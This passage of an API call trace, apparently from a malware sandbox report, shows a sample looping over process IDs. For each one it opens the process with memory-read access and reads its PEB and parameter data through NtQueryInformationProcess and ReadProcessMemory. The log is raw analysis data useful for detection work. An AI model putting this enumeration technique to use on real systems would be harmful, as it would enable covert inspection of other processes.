_Buffer="3788") returned 0x0 [0245.796] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="3788") returned 4 [0245.797] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0245.797] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0245.813] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xecc) returned 0x300 [0245.813] GetLastError () returned 0x0 [0245.814] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0245.814] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x290018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0245.814] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0245.814] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x441cf0, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0245.814] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x4418f8, lpBuffer=0x67117c450, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0245.815] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0245.816] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0245.817] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x290020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0245.817] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x4412e0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0245.817] malloc (_Size=0x74) returned 0x196ef0d31b0 [0245.817] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x441964, lpBuffer=0x196ef0d31b0, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0245.818] free (_Block=0x196ef0d31b0) [0245.818] CloseHandle (hObject=0x300) returned 1 [0245.819] _ui64tow_s (in: _Value=0xedc, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="3804") returned 0x0 [0245.823] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="3804") returned 4 [0245.825] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0245.825] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0245.853] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xedc) returned 0x300 [0245.853] GetLastError () returned 0x0 [0245.854] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0245.854] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x2d2018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0245.854] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0245.854] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x481c70, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0245.854] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x4818f8, lpBuffer=0x67117c450, nSize=0x42, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0245.856] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0245.857] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0245.857] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x2d2020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0245.857] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x4812e0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0245.857] malloc (_Size=0x4a) returned 0x196ef100b60 [0245.857] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x48193a, lpBuffer=0x196ef100b60, nSize=0x48, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef100b60*, lpNumberOfBytesRead=0x0) returned 1 [0245.859] free (_Block=0x196ef100b60) [0245.859] CloseHandle (hObject=0x300) returned 1 [0245.860] _ui64tow_s (in: _Value=0xee4, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="3812") returned 0x0 [0245.864] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="3812") returned 4 [0245.865] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0245.865] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0245.884] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xee4) returned 0x300 [0245.884] GetLastError () returned 0x0 [0245.885] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0245.885] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x2e6018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0245.887] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0245.888] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x491cc0, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0245.888] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x4918f8, lpBuffer=0x67117c450, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0245.889] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0245.891] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0245.891] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x2e6020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0245.891] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x4912e0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0245.891] malloc (_Size=0x64) returned 0x196ef0d03e0 [0245.891] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x491954, lpBuffer=0x196ef0d03e0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d03e0*, lpNumberOfBytesRead=0x0) returned 1 [0245.892] free (_Block=0x196ef0d03e0) [0245.893] CloseHandle (hObject=0x300) returned 1 [0245.893] _ui64tow_s (in: _Value=0xef4, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="3828") returned 0x0 [0245.897] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="3828") returned 4 [0245.898] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0245.898] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0245.914] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xef4) returned 0x300 [0245.914] GetLastError () returned 0x0 [0245.915] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0245.915] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x3ed018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0245.915] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0245.915] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x511cd0, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0245.915] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x5118f8, lpBuffer=0x67117c450, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0245.916] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0245.918] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0245.918] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x3ed020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0245.918] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x5112e0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0245.918] malloc (_Size=0x68) returned 0x196ef0d0610 [0245.918] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x511958, lpBuffer=0x196ef0d0610, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0610*, lpNumberOfBytesRead=0x0) returned 1 [0245.919] free (_Block=0x196ef0d0610) [0245.919] CloseHandle (hObject=0x300) returned 1 [0245.936] _ui64tow_s (in: _Value=0xefc, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="3836") returned 0x0 [0245.940] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="3836") returned 4 [0245.942] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0245.942] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0245.957] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xefc) returned 0x300 [0245.957] GetLastError () returned 0x0 [0245.957] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0245.957] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x252018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0245.958] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0245.958] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x4a1d30, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0245.958] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x4a18f8, lpBuffer=0x67117c450, nSize=0x7e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0245.959] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0245.960] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0245.960] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x252020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0245.960] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x4a12e0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0245.961] malloc (_Size=0x86) returned 0x196ef0d7c50 [0245.961] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x4a1976, lpBuffer=0x196ef0d7c50, nSize=0x84, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d7c50*, lpNumberOfBytesRead=0x0) returned 1 [0245.962] free (_Block=0x196ef0d7c50) [0245.962] CloseHandle (hObject=0x300) returned 1 [0245.963] _ui64tow_s (in: _Value=0xf0c, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="3852") returned 0x0 [0245.967] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="3852") returned 4 [0245.968] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0245.968] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0246.032] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf0c) returned 0x300 [0246.032] GetLastError () returned 0x0 [0246.032] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0246.032] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x365018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0246.032] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0246.032] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x5b1cb0, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0246.033] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x5b18f8, lpBuffer=0x67117c450, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0246.034] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0246.035] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0246.035] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x365020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0246.035] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x5b12e0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0246.035] malloc (_Size=0x60) returned 0x196ef0d03e0 [0246.035] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x5b1950, lpBuffer=0x196ef0d03e0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d03e0*, lpNumberOfBytesRead=0x0) returned 1 [0246.036] free (_Block=0x196ef0d03e0) [0246.037] CloseHandle (hObject=0x300) returned 1 [0246.038] _ui64tow_s (in: _Value=0xf18, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="3864") returned 0x0 [0246.042] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="3864") returned 4 [0246.043] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0246.043] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0246.060] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf18) returned 0x300 [0246.060] GetLastError () returned 0x0 [0246.061] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0246.327] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x54a018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0246.328] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0246.328] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7d1d40, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0246.328] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7d1958, lpBuffer=0x67117c450, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0246.354] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0246.358] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0246.358] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x54a020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0246.358] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7d1340, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0246.358] malloc (_Size=0x6e) returned 0x196ef0d31b0 [0246.358] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7d19be, lpBuffer=0x196ef0d31b0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0246.359] free (_Block=0x196ef0d31b0) [0246.361] CloseHandle (hObject=0x300) returned 1 [0246.362] _ui64tow_s (in: _Value=0xf20, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="3872") returned 0x0 [0246.367] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="3872") returned 4 [0246.368] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0246.368] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0246.385] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf20) returned 0x300 [0246.385] GetLastError () returned 0x0 [0246.386] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0246.386] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x3ab018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0246.386] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0246.386] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x481cc0, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0246.394] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x4818f8, lpBuffer=0x67117c450, nSize=0x5a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0246.395] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0246.397] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0246.397] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x3ab020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0246.397] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x4812e0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0246.397] malloc (_Size=0x62) returned 0x196ef0d0370 [0246.397] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x481952, lpBuffer=0x196ef0d0370, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0370*, lpNumberOfBytesRead=0x0) returned 1 [0246.398] free (_Block=0x196ef0d0370) [0246.398] CloseHandle (hObject=0x300) returned 1 [0246.399] _ui64tow_s (in: _Value=0xf30, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="3888") returned 0x0 [0246.422] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="3888") returned 4 [0246.423] GetVersionExW (in: 